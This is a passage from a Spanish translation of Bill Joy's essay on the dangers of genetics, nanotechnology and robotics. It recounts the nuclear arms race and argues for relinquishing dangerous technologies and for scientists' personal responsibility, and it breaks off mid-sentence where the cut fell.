Lilienthal	 que,	 como	 describe	 Richard	 Rhodes	 en	 su	 reciente	 libro	 Visions	 of
Technology,	 «halló	 una	manera	 de	 prevenir	 una	 carrera	 armamentística	 clandestina
sin	acudir	a	un	gobierno	mundial	equipado	con	armas»;	su	recomendación	fue	algo
parecido	a	entregar	el	trabajo	sobre	armas	nucleares	a	una	agencia	internacional[135].

Esta	propuesta	condujo	al	Plan	Baruch,	que	fue	enviado	a	las	Naciones	Unidas	en
junio	 de	 1945,	 pero	 que	 nunca	 se	 adoptó	 (quizás	 porque,	 como	 Rhodes	 sugiere,
Bernard	 Baruch	 insistió	 en	 «recargar	 el	 plan	 de	 sanciones	 convencionales»,
haciéndolo	así	inviable,	más	allá	de	que	«casi	con	seguridad	hubiera	sido	rechazado
por	 la	 Rusia	 estalinista»).	 Otros	 esfuerzos	 por	 promover	 avances	 serios	 hacia	 una
internacionalización	 del	 poder	 nuclear	 para	 prevenir	 una	 carrera	 armamentística	 se
detuvieron,	 ya	 sea	 ante	 la	 falta	 de	 acuerdo	 político	 y	 la	 desconfianza	 interna	 de
EE.	UU.,	o	ante	la	desconfianza	de	los	soviéticos.	La	oportunidad	de	evitar	la	carrera
armamentística	se	perdió,	y	muy	rápido.

Dos	años	después,	en	1948,	Oppenheimer	pareció	haber	llegado	a	otra	etapa	en	su
pensamiento,	diciendo	que,	«en	algún	sentido	muy	básico	que	ninguna	vulgaridad,	ni
broma,	o	sobreentendido	pueden	atenuar,	los	físicos	han	conocido	el	pecado;	y	este	es
un	saber	que	no	pueden	perder».

En	 1949	 los	 soviéticos	 detonaron	 una	 bomba	 atómica.	 Para	 1955,	 soviéticos	 y
norteamericanos,	 ambos,	 habían	 probado	 bombas	 de	 hidrógeno	 aptas	 para	 ser
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lanzadas	desde	un	avión.	Y	entonces	empezó	la	carrera	armamentística.
Hace	20	años,	en	el	documental	The	Day	After	Trinity,	Freeman	Dyson	repasó	las

actitudes	científicas	que	nos	llevaron	al	precipicio	nuclear:

Lo	 he	 sentido	 yo	 mismo.	 El	 brillo	 seductor	 de	 las	 armas	 nucleares.	 Es
irresistible	 si	 te	 acercas	 a	 ellas	 como	 científico.	 Sentir	 que	 está	 ahí	 en	 tus
manos,	 liberar	 esta	 energía	 que	 alimenta	 a	 las	 estrellas,	 hacer	 que	 siga	 tus
planes.	 Ejecutar	 estos	 milagros,	 elevar	 un	 millón	 de	 toneladas	 de	 rocas	 al
cielo.	Es	algo	que	le	da	a	las	personas	una	ilusión	de	poder	ilimitado,	y	es,	en
algún	 sentido,	 responsable	 de	 todos	 nuestros	 problemas	—esto,	 que	 podrías
llamar	arrogancia	tecnológica,	y	que	se	apodera	de	las	personas	cuando	ven	lo
que	pueden	hacer	con	sus	mentes.[136]

Ahora,	 como	 entonces,	 somos	 creadores	 de	 nuevas	 tecnologías	 y	 estrellas	 del
futuro	imaginado,	impulsados	—esta	vez	por	grandes	recompensas	financieras	y	una
competencia	 global—	 pese	 a	 los	 claros	 peligros,	 evaluando	 apenas	 lo	 que	 sería
intentar	vivir	en	un	mundo	que	fuera	el	resultado	realista	de	lo	que	estamos	creando	e
imaginando.

En	1947,	The	Bulletin	of	the	Atomic	Scientist	empezó	a	poner	un	Reloj	de	Fin	de
los	 Tiempos	 en	 su	 portada.	 Por	 más	 de	 50	 años,	 ha	 mostrado	 una	 estimación	 del
peligro	 nuclear	 relativo	 que	 hemos	 enfrentado,	 reflejando	 las	 variaciones	 de	 las
condiciones	internacionales.	Las	manecillas	del	reloj	se	han	movido	15	veces	y	hoy,
detenidas	a	nueve	minutos	de	la	medianoche,	reflejan	el	peligro	real	y	continuo	de	las
armas	 nucleares.	 La	 reciente	 inclusión	 de	 India	 y	 Pakistán	 en	 la	 lista	 de	 potencias
nucleares	ha	incrementado	la	amenaza	de	fracaso	de	las	metas	de	no	proliferación,	y
esto	se	reflejó	moviendo	las	agujas	más	cerca	de	la	medianoche	en	1998.

En	nuestro	tiempo,	¿a	cuánto	peligro	nos	enfrentamos,	no	ya	de	armas	nucleares,
sino	de	todas	estas	tecnologías?	¿Qué	tan	altos	son	los	riesgos	de	extinción?

El	 filósofo	 John	 Leslie	 ha	 estudiado	 el	 tema	 y	 llegó	 a	 la	 conclusión	 de	 que	 el
riesgo	 de	 extinción	 humana	 es	 al	 menos	 del	 30	 por	 ciento[137],	 mientras	 que	 Ray
Kurzweil	 cree	 que	 tenemos	 «una	 chance	 mejor	 que	 nunca	 de	 superar	 nuestros
problemas»,	con	 la	advertencia	de	que	«siempre	he	sido	acusado	de	optimista».	No
sólo	 no	 son	 alentadoras	 estas	 previsiones,	 sino	 que	 no	 incluyen	 la	 probabilidad	 de
muchos	resultados	terroríficos	que	acercan	la	extinción.

Puestas	ante	estas	evaluaciones,	algunas	personas	muy	serias	ya	están	sugiriendo
sencillamente	dejar	 la	Tierra	 lo	más	 rápido	posible.	Podríamos	 colonizar	 la	 galaxia
usando	 los	 modelos	 de	 Von	 Neumann,	 que	 van	 de	 sistema	 a	 sistema	 solar,
replicándose	 cada	 vez.	Este	 paso	 será	 necesario,	 ciertamente,	 en	 5	mil	millones	 de
años	(o	antes	si	nuestro	sistema	solar	recibe	demasiado	mal	el	impacto	retardado	de
nuestra	galaxia	con	la	galaxia	de	Andrómeda	en	los	futuros	3	mil	millones	de	años),

www.lectulandia.com	-	Página	154



pero	si	leemos	literalmente	a	Kurzweil	y	Moravec	podría	ser	necesario	a	mediados	de
este	siglo.

¿Cuáles	 son	 aquí	 las	 implicaciones	morales?	 Si	 debemos	 dejar	 la	 Tierra	 así	 de
rápido	para	que	la	especie	pueda	sobrevivir,	¿quién	acepta	 la	responsabilidad	por	el
destino	de	aquellos	(la	mayoría	de	nosotros,	después	de	todo)	que	sean	dejados	atrás?
E	 incluso	 si	 nos	 dispersamos	 por	 las	 estrellas,	 ¿no	 es	 probable	 que	 nos	 llevemos
nuestros	 problemas	 con	 nosotros,	 o	 que	 hallemos,	 luego,	 que	 nos	 han	 venido
siguiendo?	El	destino	de	nuestra	especie	en	la	Tierra	y	nuestro	destino	en	la	galaxia
aparecen	ligados	inextricablemente.

Otra	 idea	 es	 erigir	 una	 serie	 de	 escudos	 para	 defendernos	 ante	 cada	 una	 de	 las
tecnologías	 peligrosas.	 La	 Iniciativa	 de	 Defensa	 Estratégica,	 propuesta	 por	 el
gobierno	 de	 Reagan,	 fue	 un	 intento	 de	 diseñar	 un	 escudo	 de	 ese	 tipo	 contra	 la
amenaza	 de	 ataque	 nuclear	 desde	 la	 Unión	 Soviética.	 Pero	 Arthur	 C.	 Clarke	 que
colaboró	en	 la	discusión	del	proyecto,	observaba:	«Aunque	sería	posible,	a	un	gran
costo,	construir	sistemas	de	defensa	local	que	dejarían	pasar	“solamente”	unos	bajos
porcentajes	de	mísiles	enemigos,	la	idea	más	promocionada	de	un	paraguas	nacional
no	tenía	sentido.	Luis	Álvarez,	quizás	el	físico	experimental	más	importante	del	siglo,
me	 señaló	 que	 los	 defensores	 de	 tales	 propuestas	 eran	 “tipos	muy	 inteligentes	 sin
sentido	común”».

Clarke	seguía:	«Mirando	en	mi	muy	a	menudo	nubosa	bola	de	cristal,	sospecho
que	 una	 defensa	 total	 sería	 posible	 en	 un	 siglo,	 más	 o	 menos.	 Pero	 la	 tecnología
involucrada	generaría,	como	subproducto,	armas	tan	terribles	que	nadie	se	molestaría
por	nada	tan	primitivo	como	misiles	balísticos»[138].

En	Engines	 of	 Creation,	 Eric	 Drexler	 proponía	 que	 construyéramos	 un	 escudo
nanotecnológico	activo	—una	suerte	de	sistema	inmunológico	para	la	biosfera—	para
defendernos	de	cualquier	replicador	peligroso,	que	pudiera	escaparse	de	laboratorios
o	 fuera	 creado	 maliciosamente.	 Pero	 el	 escudo	 que	 proponía	 sería	 enormemente
peligroso	en	sí	mismo	—nada	evitaría	que	desarrollara	problemas	de	autoinmunidad
y	atacara	él	mismo	la	biosfera[139].

Dificultades	 similares	 se	 aplican	 a	 la	 construcción	 de	 «escudos»	 contra	 la
ingeniería	genética	y	de	robots.	Estas	tecnologías	son	demasiado	poderosas	para	crear
escudos	 contra	 ellas	 en	 los	 lapsos	 de	 tiempo	 en	 cuestión;	 incluso	 si	 fuera	 posible
implementar	 escudos	 defensivos,	 los	 efectos	 colaterales	 de	 su	 desarrollo	 serían	 al
menos	 tan	 peligrosos	 como	 las	 tecnologías	 de	 las	 que	 estamos	 tratando	 de
protegernos.

Estas	 posibilidades	 son	 todas	 no	 deseables,	 impracticables	 o	 ambas	 cosas.	 La
única	 alternativa	 realista	 que	 veo	 es	 la	 abstención:	 limitar	 el	 desarrollo	 de	 las
tecnologías	 que	 son	 demasiado	 peligrosas,	 limitando	 nuestra	 búsqueda	 de	 ciertos
tipos	de	conocimiento.

Sí,	ya	sé,	el	conocimiento	es	bueno,	ya	que	es	 la	búsqueda	de	nuevas	verdades.
Hemos	 estado	 en	 busca	 del	 conocimiento	 desde	 los	 tiempos	 antiguos.	 Aristóteles

www.lectulandia.com	-	Página	155



empezó	su	Metafísica	con	el	sencillo	enunciado:	«Todos	los	hombres	por	naturaleza
desean	 conocer».	Desde	 hace	 tiempo,	 como	base	 de	 consenso	 en	 nuestra	 sociedad,
hemos	 acordado	 respecto	 del	 valor	 del	 acceso	 abierto	 a	 la	 información,	 y
reconocemos	 los	problemas	que	 conllevan	 los	 intentos	de	 restringir	 su	desarrollo	y
acceso.	En	tiempos	recientes,	hemos	llegado	a	reverenciar	el	conocimiento	científico.

Pero	 más	 allá	 de	 los	 sólidos	 antecedentes	 históricos,	 si	 el	 acceso	 abierto	 y	 el
desarrollo	 ilimitado	 de	 los	 conocimientos	 nos	 colocan,	 de	 ahora	 en	 más,	 en	 claro
peligro	de	extinción,	entonces	el	sentido	común	demanda	que	reexaminemos	incluso
estas	creencias	básicas,	sostenidas	durante	largo	tiempo.

Fue	Nietzsche	quien	nos	advirtió,	en	el	 final	del	siglo	XIX,	que	no	sólo	Dios	ha
muerto	sino	que	«la	fe	en	la	ciencia,	que	pese	a	todo	existe	indudablemente,	no	puede
deber	su	origen	a	un	cálculo	de	utilidad;	tiene	que	haber	surgido	a	expensas	del	hecho
de	que	la	no-utilidad	y	peligrosidad	de	la	“voluntad	de	saber”,	de	“saber	a	cualquier
precio”	sea	puesta	a	prueba	constantemente».	Es	este	peligro	que	ahora	enfrentamos
las	 consecuencias	 de	 nuestra	 búsqueda	 de	 verdad.	 La	 verdad	 que	 busca	 la	 ciencia
ciertamente	 puede	 considerarse	 un	 sustituto	 peligroso	 de	 Dios	 si	 implicara	 ciertas
posibilidades	de	llevarnos	a	la	extinción.

Si	 pudiéramos	 ponernos	 de	 acuerdo,	 como	 especie,	 sobre	 lo	 que	 queremos,
adónde	 fuimos	 encaminados,	 y	 por	 qué,	 entonces	 podríamos	 hacer	 mucho	 menos
peligroso	nuestro	futuro	—entonces	podríamos	entender	a	qué	podemos	y	deberíamos
abstenernos—.	 De	 otra	 manera,	 podemos	 con	 facilidad	 imaginar	 una	 carrera
armamentística	 lanzándose	 en	 torno	 a	 las	 tecnologías	 GNR,	 como	 sucedió	 con	 las
tecnologías	NBQ	en	el	siglo	XX.	Éste	es	quizás	el	riesgo	más	importante,	ya	que	una
vez	iniciada	una	carrera	como	esa,	es	muy	difícil	detenerla.	Esta	vez	—a	diferencia
de	lo	que	pasaba	durante	el	Proyecto	Manhattan—	no	estamos	en	guerra,	enfrentando
un	 enemigo	 implacable	 que	 amenaza	 nuestra	 civilización;	 estamos	 impulsados,	 en
cambio,	por	nuestros	hábitos,	nuestros	deseos,	nuestro	sistema	económico	y	nuestra
necesidad	competitiva	de	saber.

Creo	que	 todos	deseamos	que	nuestro	 rumbo	esté	definido	por	nuestros	valores
colectivos,	 éticos	 y	morales.	 Si	 hubiéramos	 logrado	más	 sabiduría	 colectiva	 en	 los
pasados	miles	de	años,	entonces	un	diálogo	en	este	sentido	resultaría	más	práctico,	y
los	increíbles	poderes	que	estamos	por	liberar	no	serían	tan	problemáticos.

Uno	pensaría	que	seríamos	llevados	a	ese	diálogo	movidos	por	nuestro	instinto	de
preservación.	 Los	 individuos	 tienen	 claramente	 este	 deseo,	 sin	 embargo	 como
especie,	 nuestro	 comportamiento	 parece	 no	 jugarnos	 a	 favor.	 Al	 resolver	 las
amenazas	 nucleares,	 muchas	 veces	 nos	 hablamos	 de	 manera	 mentirosa	 a	 nosotros
mismos,	 y	 a	 los	 demás,	 incrementando	 en	 gran	 medida	 los	 riesgos.	 Sea	 que	 esto
estuviera	motivado	políticamente,	o	porque	elegimos	no	pensar	 las	proyecciones,	o
porque	 al	 enfrentarnos	 con	 amenazas	 tan	 graves	 actuamos	 con	 una	 falta	 de	 temor
irracional,	no	lo	sé,	pero	no	nos	llevó	a	un	buen	desenlace.

Las	nuevas	cajas	de	Pandora	de	la	genética,	la	nanotecnología	y	la	robótica	están
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casi	 abiertas,	 pero	 pareciera	 que	 nosotros	 apenas	 nos	 damos	 cuenta.	 Las	 ideas	 no
pueden	 ser	 vueltas	 a	 poner	 en	 una	 caja;	 a	 diferencia	 del	 uranio	 o	 el	 plutonio,	 no
necesitan	ser	enterradas	o	tratadas	químicamente,	y	pueden	copiarse	libremente.	Una
vez	que	 salieron,	 salieron.	Churchill	 destacó	una	vez,	 en	una	 famosa	 frase,	 que	 los
norteamericanos	 y	 sus	 líderes	 «invariablemente	 hacen	 lo	 correcto,	 una	 vez	 que
examinaron	todas	las	demás	alternativas».	En	este	caso,	sin	embargo,	debemos	actuar
con	mayor	 previsión,	 pues	 hacer	 lo	 correcto	 recién	 al	 final	 puede	 significar	 perder
definitivamente	la	oportunidad	de	hacerlo.

Como	dijo	Thoreau,	«Nosotros	no	vamos	montados	en	los	rieles,	son	los	rieles	los
que	 van	 montados	 en	 nosotros»;	 y	 esto	 es	 lo	 que	 debemos	 combatir	 en	 nuestros
tiempos.	 La	 pregunta	 es,	 de	 hecho,	 ¿quién	 va	 a	 ser	 el	 que	 ponga	 el	 rumbo?
¿Sobreviviremos	a	nuestras	tecnologías?

Estamos	 siendo	 arrojados	 a	 este	 nuevo	 siglo	 sin	 ningún	 plan,	 control	 o	 freno.
¿Hemos	ido	ya	demasiado	lejos	en	el	camino	como	para	cambiar	el	rumbo?	Yo	no	lo
creo,	pero	aún	no	estamos	intentándolo,	y	la	última	oportunidad	de	retomar	el	control
—el	punto	de	no	retorno—	se	acerca	rápidamente.	Tenemos	nuestros	primeros	robots
mascotas,	 así	 como	 técnicas	 de	 ingeniería	 genética	 disponibles	 en	 el	 mercado,	 y
nuestra	técnica	a	nanoescala	mejora	rápidamente.	Mientras	que	el	desarrollo	de	esas
tecnologías	procede	a	través	de	una	serie	de	pasos,	no	es	necesariamente	el	caso	—
como	 sucedió	 en	 el	Proyecto	Manhattan	y	 la	 prueba	de	Trinity—	de	que	 el	 último
paso	 en	 una	 tecnología	 de	 prueba	 sea	 largo	 y	 arduo.	 El	 salto	 que	 posibilite	 la
autoreplicación	salvaje	en	robótica,	ingeniería	genética	o	nanotecnología	podría	darse
repentinamente,	reviviendo	la	sorpresa	que	sentimos	cuando	supimos	de	la	clonación
de	un	mamífero.

Y	 sin	 embargo	yo	creo	que	 tenemos	una	 firme	y	 sólida	base	para	 la	 esperanza.
Nuestros	 intentos	de	 lidiar	 con	armas	de	destrucción	masiva	 en	 el	último	 siglo	nos
proveen	un	reluciente	ejemplo	de	abstención	para	considerar:	el	abandono	unilateral
de	EE.	UU.,	sin	prerrequisitos,	del	desarrollo	de	armas	biológicas.	Este	abandono	se
basó	en	la	toma	de	conciencia	del	hecho	de	que	mientras	que	significaría	un	enorme
esfuerzo	 crear	 estas	 terribles	 armas,	 podrían,	 a	 partir	 de	 entonces,	 ser	 fácilmente
reproducidas	y	caer	en	manos	de	naciones	hostiles	o	de	grupos	 terroristas.	La	clara
conclusión	fue	que	desarrollar	estas	armas	crearía	peligros	adicionales	para	nosotros,
y	que	estaríamos	más	seguros	si	no	 las	desarrollábamos.	Hemos	reafirmado	nuestra
abstención	 de	 las	 armas	 biológicas	 y	 químicas	 en	 la	 Convención	 sobre	 Armas
Biológicas	 de	 1972	 (Biological	 Weapons	 Convention,	 BWC)	 y	 en	 la	 Convención
sobre	Armas	Químicas	de	1993	(Chemical	Weapons	Convention,	CWC)[140].

En	cuanto	al	aún	considerable	riesgo	de	amenaza	por	armas	nucleares,	con	el	que
hemos	vivido	por	más	de	50	años,	el	reciente	rechazo	del	Senado	al	Tratado	Extenso
de	Prohibición	de	Pruebas	deja	en	claro	que	la	abstención	al	uso	de	armas	nucleares
no	 será	 políticamente	 fácil.	 Pero	 tenemos	 una	 oportunidad	 única,	 con	 el	 fin	 de	 la
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Guerra	Fría,	de	prevenir	una	carrera	armamentística	multipolar.	Construir,	a	partir	de
la	 abstención	de	 la	BWC	y	 la	CWC,	una	 abolición	 exitosa	de	 las	 armas	nucleares,
podría	 ayudarnos	 a	 crear	 un	 hábito	 de	 abstención	 a	 las	 tecnologías	 peligrosas	 (de
hecho,	si	reducimos	a	100	el	número	de	todas	las	armas	nucleares	en	el	mundo	—lo
que	sería	equivalente	al	poder	destructivo	 total	de	 la	Segunda	Guerra	Mundial,	una
meta	considerablemente	más	sencilla—	podríamos	eliminar	este	riesgo	de	extinción).
[141]

Supervisar	la	abstención	será	un	problema	difícil,	pero	no	insuperable.	Tenemos
suerte	 de	 haber	 hecho	 ya	mucho	 trabajo	 relevante	 en	 el	marco	 de	 la	BWC	y	 otros
tratados.	 Nuestra	 tarea	 más	 importante	 será	 aplicar	 esto	 a	 tecnologías	 que	 son
naturalmente	mucho	más	comerciales	que	militares.	La	necesidad	fundamental	aquí
es	de	transparencia,	pues	la	dificultad	de	supervisión	es	directamente	proporcional	a
la	dificultad	de	distinguir	entre	actividades	para	la	abstención	y	actividades	legítimas.

Francamente	creo	que	la	situación	en	1945	era	más	simple	que	la	que	enfrentamos
ahora:	las	tecnologías	nucleares	eran	pasibles	de	ser	razonablemente	separadas	entre
sus	 usos	 comerciales	 y	 sus	 usos	 militares,	 y	 el	 monitoreo	 era	 ayudado	 por	 la
naturaleza	 de	 las	 pruebas	 atómicas	 y	 la	 facilidad	 con	 que	 la	 radioactividad	 podía
medirse.	La	 investigación	 de	 aplicaciones	militares	 podía	 realizarse	 en	 laboratorios
nacionales	 como	 Los	 Álamos,	 con	 los	 resultados	 mantenidos	 bajo	 secreto	 tanto
tiempo	como	fuera	posible.

Las	 tecnologías	 GNR	 no	 se	 dividen	 abiertamente	 entre	 usos	 comerciales	 y
militares;	dado	su	potencial	en	el	mercado,	es	difícil	 imaginar	su	desarrollo	sólo	en
laboratorios	nacionales.	Con	sus	dilatados	márgenes	para	el	uso	comercial,	supervisar
la	abstención	requerirá	un	régimen	de	supervisión	similar	al	de	las	armas	biológicas,
pero	en	una	escala	sin	precedentes.	Esto,	 inevitablemente,	producirá	 tensiones	entre
nuestra	privacidad	individual,	nuestro	deseo	de	información	registrada	por	copyright,
y	 la	 necesidad	 de	 supervisión	 para	 protegernos	 a	 todos.	 Sin	 duda	 encontraremos
grandes	resistencias	a	esta	pérdida	de	privacidad	y	de	libertad	de	acción.

La	supervisión	de	la	abstención	a	ciertas	tecnologías	GNR	deberá	tener	lugar	en
el	ciberespacio	tanto	como	en	lugares	físicos.	El	tema	crítico	será	hacer	aceptable	la
necesaria	 transparencia	 en	 un	 mundo	 de	 información	 basada	 en	 el	 derecho	 de
propiedad,	 presumiblemente	 creando	 nuevas	 formas	 de	 protección	 de	 la	 propiedad
intelectual.

Supervisar	la	aplicación	también	requerirá	que	científicos	e	ingenieros	adopten	un
rígido	código	ético	de	conducta,	similar	al	juramento	hipocrático,	y	tengan	el	coraje
personal	de	avisar	cuando	sea	necesario,	incluso	en	situaciones	de	alto	costo	para	sí
mismos.	Esto	respondería	al	llamado	que	hizo	—50	años	después	de	Hiroshima—	el
premio	Nobel	Hans	Bethe,	uno	de	los	más	destacados	de	los	miembros	sobrevivientes
del	Proyecto	Manhattan,	a	que	todos	los	científicos	«cesen	y	desistan	de	trabajar	en	la
creación,	 desarrollo,	 mejora	 y	 mantenimiento	 de	 armas	 nucleares	 y	 otras	 armas
potenciales	de	destrucción	masiva»[142].	En	el	siglo	XXI,	esto	requiere	de	vigilancia	y
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responsabilidad	 personal	 de	 parte	 de	 aquellos	 que	 trabajen	 en	 tecnologías	 NBQ	 y
GNR	para	evitar	la	implementación	de	armas	de	destrucción	masiva	y	la	destrucción
masiva	habilitada	por	el	conocimiento.

Thoreau	también	dijo	que	«seremos	ricos	en	proporción	al	número	de	cosas	que
nos	podamos	permitir	 dejar	 tranquilas».	Todos	queremos	 ser	 felices,	 pero	pareciera
importante	 preguntarnos	 si	 necesitamos	 asumir	 semejantes	 riesgos	 de	 destrucción
total	 para	 conseguir	 todavía	más	 conocimiento	 y	más	 cosas;	 el	 sentido	 común	 nos
dice	 que	 hay	 un	 límite	 para	 nuestras	 necesidades	 materiales	 —y	 que	 cierto
conocimiento	es	demasiado	peligroso	y	es	mejor	dejarlo	pasar.

Tampoco	 deberíamos	 perseguir	 una	 semiinmortalidad	 sin	 considerar	 los	 costos,
sin	 considerar	 los	 sensibles	 incrementos	 del	 riesgo	 de	 extinción.	 La	 inmortalidad,
siendo	quizás	el	original,	ciertamente	no	es	el	único	sueño	utópico	posible.

Hace	poco	tuve	la	suerte	de	conocer	al	distinguido	escritor	y	catedrático	Jacques
Attali,	cuyo	libro	Lignes	d’horizons	 (Millenium,	en	 la	 traducción	al	 inglés)	ayudó	a
inspirar	 el	 acercamiento	 de	 Java	 y	 Jini	 a	 la	 siguiente	 era	 de	 la	 computación
ubicua[143].	En	su	nuevo	libro	Fraternités,	Attali	describe	la	manera	en	que	nuestros
sueños	de	utopía	han	cambiado	con	el	tiempo:

En	el	despertar	de	nuestras	sociedades,	 los	hombres	veían	su	paso	por	la
Tierra	sólo	como	un	laberinto	de	dolor,	al	final	del	cual	se	erguía	una	puerta
que	conducía,	a	través	de	la	muerte,	a	la	compañía	de	dioses	y	a	la	Eternidad.
Con	 los	 hebreos	 y	 después	 los	 griegos,	 algunos	 hombres	 se	 animaron	 a
liberarse	 de	 las	 demandas	 teológicas	 y	 soñar	 una	 Ciudad	 ideal	 donde	 la
Libertad	 florecería.	 Otros,	 percibiendo	 la	 evolución	 de	 la	 sociedad	 de
mercado,	comprendieron	que	 la	 libertad	de	algunos	conllevaría	 la	alienación
de	otros,	y	persiguieron	la	Igualdad.

Jacques	 me	 ayudó	 a	 entender	 cómo	 estas	 tres	 diferentes	 metas	 utópicas	 hoy
coexisten	 en	 tensión	 en	 nuestra	 sociedad.	 Sigue	 adelante	 para	 describir	 una	 cuarta
utopía,	Fraternidad,	cuya	base	es	el	altruismo.	La	Fraternidad	en	sí	asocia	la	felicidad
individual	 a	 la	 felicidad	 de	 los	 otros,	 haciéndose	 cargo	 de	 la	 promesa	 de
autosustentamiento.

Esto	 cristalizó	 el	 problema	 que	 me	 producía	 el	 sueño	 de	 Kurzweil.	 Un
acercamiento	tecnológico	a	la	Eternidad	—semiinmortalidad	a	través	de	la	robótica—
quizás	 no	 sea	 la	 utopía	 más	 deseable,	 y	 su	 búsqueda	 conlleva	 grandes	 peligros.
Quizás	debamos	repensar	nuestras	elecciones	utópicas.

¿Adónde	 podemos	 mirar	 para	 hallar	 una	 nueva	 base	 ética	 con	 que	 definir	 el
rumbo?	Las	 ideas	 del	 libro	Ética	 para	 el	Nuevo	Milenio,	 del	Dalai	 Lama,	me	 han
parecido	muy	útiles.	Como	a	lo	mejor	se	sabe,	pero	se	recalca	poco,	el	Dalai	Lama
afirma	que	la	cosa	más	importante	para	nosotros	es	llevar	nuestras	vidas	con	amor	y
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compasión	 por	 los	 otros,	 y	 que	 nuestras	 sociedades	 necesitan	 desarrollar	 nociones
más	 fuertes	 de	 responsabilidad	 universal	 y	 acerca	 de	 nuestra	 interdependencia;
propone	 un	 standard	 de	 conducta	 ética	 positiva	 para	 individuos	 y	 sociedades	 que
parece	consonante	con	la	utopía	de	Fraternidad	de	Attali.

El	Dalai	Lama	además	afirma	que	debemos	comprender	qué	es	lo	que	hace	feliz	a
la	gente,	y	tomar	conciencia	de	las	firmes	evidencias	de	que	ni	el	progreso	material	ni
la	búsqueda	de	poder	del	conocimiento	son	la	clave	—que	hay	límites	para	lo	que	la
ciencia	y	la	investigación	científica	solas	pueden	hacer.

Nuestra	 noción	 occidental	 de	 felicidad	 parece	 venir	 de	 los	 griegos,	 quienes	 la
definieron	como	«el	ejercicio	de	poderes	vitales	a	lo	largo	de	líneas	de	excelencia,	en
una	vida	que	promueve	su	libertad»[144].

Ciertamente,	necesitamos	encontrar	desafíos	consistentes	y	suficientes	campos	de
libertad	en	nuestras	vidas	si	vamos	a	ser	 felices	en	 lo	que	sea	que	nos	espera.	Pero
creo	 que	 debemos	 encontrar	 vías	 de	 escape	 alternativas	 para	 nuestras	 fuerzas
creativas,	 más	 allá	 de	 la	 cultura	 del	 crecimiento	 económico	 perpetuo;	 este
crecimiento	ha	 sido	una	gran	bendición	por	varios	 cientos	de	 años,	pero	no	nos	ha
dado	una	felicidad	carente	de	impurezas,	y	ahora	debemos	elegir	entre	perseguir	un
crecimiento	 irrestricto	 y	 sin	 dirección	 a	 través	 de	 la	 ciencia	 y	 la	 tecnología	 y	 los
claros	peligros	que	acompañan	a	esto.

Ha	pasado	más	de	un	año	desde	mi	primer	encuentro	con	Ray	Kurzweil	y	John
Searle.	Veo	a	mi	alrededor	motivos	de	esperanza	en	las	voces	de	cautela	y	renuencia
y	en	aquellas	personas	que	he	descubierto	que	están	tan	preocupadas	como	yo	acerca
de	nuestra	predica	actual.	Tengo,	también,	un	sentimiento	de	responsabilidad	personal
más	profundo	—no	por	el	trabajo	que	ya	he	realizado,	sino	por	el	trabajo	que	todavía
podría	realizar,	en	la	confluencia	de	las	ciencias.

Pero	 muchas	 otras	 personas	 que	 saben	 de	 los	 peligros	 todavía	 permanecen
extrañamente	en	silencio.	Si	se	las	presiona,	sueltan	el	ya	conocido	«esto	no	es	nada
nuevo»	—como	si	saber	 lo	que	podría	pasar	fuera	suficiente	responsabilidad—.	Me
dicen,	 «hay	 universidades	 llenas	 de	 investigadores	 de	 bioética	 que	 estudian	 estos
temas	 todo	 el	 día».	Dicen	 «todo	 esto	 ya	 está	 escrito	 de	 antes,	 y	 por	 expertos».	 Se
quejan,	«tus	preocupaciones	y	argumentos	ya	son	cosa	vieja».

No	 sé	 dónde	 esconden	 su	 temor	 estas	 personas.	 Como	 arquitecto	 de	 sistemas
complejos,	 entro	 a	 esta	 arena	 como	 no-profesional.	 ¿Pero	 esto	 debería	 desmerecer
mis	 inquietudes?	 Estoy	 al	 tanto	 de	 cuánto	 se	 ha	 escrito	 al	 respecto,	 hablado	 al
respecto	y	conferenciado	al	respecto,	con	tanta	autoridad.	¿Pero	esto	quiere	decir	que
le	llegó	a	la	gente?	¿Quiere	decir	que	podemos	olvidar	los	riesgos	que	nos	esperan?

Saber	 no	 es	 una	 respuesta	 racional	 suficiente	 como	 para	 no	 actuar.	 ¿Podemos
dudar	de	que	el	conocimiento	se	ha	vuelto	un	arma	que	manipulamos	contra	nosotros
mismos?

Las	experiencias	de	los	científicos	atómicos	muestran	claramente	la	necesidad	de
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asumir	responsabilidad	personal,	el	peligro	de	que	las	cosas	vayan	demasiado	rápido
y	 la	manera	 en	que	un	proceso	puede	 cobrar	 vida	propia.	Podemos,	 como	hicieron
ellos,	crear	problemas	insuperables	en	lapsos	de	tiempo	casi	nulos.	Debemos	realizar
más	 trabajo	 de	 reflexión	 si	 no	 queremos	 ser	 sorprendidos	 de	 la	 misma	 manera	 y
shockearnos	con	las	consecuencias	de	nuestros	inventos.

Mi	 trabajo	 personal	 sigue	 siendo	 el	 mejoramiento	 de	 la	 confiabilidad	 del
software.	 El	 software	 es	 una	 herramienta,	 y	 como	 diseñador	 de	 herramientas	 debo
luchar	 con	 los	 usos	 a	 los	 que	 se	 someten	 las	 herramientas	 que	 hago.	 Siempre	 he
creído	que	hacer	más	confiable	el	software,	dados	sus	múltiples	usos,	hará	del	mundo
un	 lugar	 mejor	 y	 más	 seguro;	 si	 llegara	 a	 pensar	 lo	 contrario,	 estaría	 moralmente
obligado	a	detener	mi	trabajo.	Ahora	puedo	imaginar	que	un	día	así	pueda	llegar.

Todo	esto	no	me	enoja	pero	me	deja,	al	menos,	un	poco	melancólico.	De	aquí	en
más,	el	progreso,	para	mí,	será	de	algún	modo	agridulce.

¿Recuerdan	la	hermosa	penúltima	escena	de	Manhattan	donde	Woody	Allen	está
tirado	en	su	sillón	y	le	habla	a	un	grabador?	Relata	una	historia	sobre	personas	que	se
crean	 a	 sí	 mismas	 problemas	 innecesarios,	 neuróticos,	 porque	 eso	 los	 mantiene
alejados	de	afrontar	otros	problemas	espeluznantes,	sin	solución,	acerca	del	universo.

Se	hace	a	sí	mismo	la	pregunta,	«¿Qué	hace	que	valga	la	pena	vivir	la	vida»?	y	se
responde	 lo	 que	 es	 importante	 para	 él:	 Groucho	 Marx,	 Willie	 Mays,	 el	 segundo
movimiento	 de	 la	 sinfonía	 Júpiter,	 la	 grabación	 de	 «Potato	Head	Blues»	 de	 Louis
Armstrong,	 las	 películas	 suecas,	 La	 Educación	 Sentimental	 de	 Flaubert,	 Marlon
Brando,	Frank	Sinatra,	las	manzanas	y	peras	de	Cézanne,	los	cangrejos	en	«Sam	Wo»
y,	por	último,	el	desenlace:	la	cara	de	Tracy,	su	amor.

Cada	uno	de	nosotros	tiene	sus	cosas	preciosas,	y	al	cuidar	de	ellas	localizamos	la
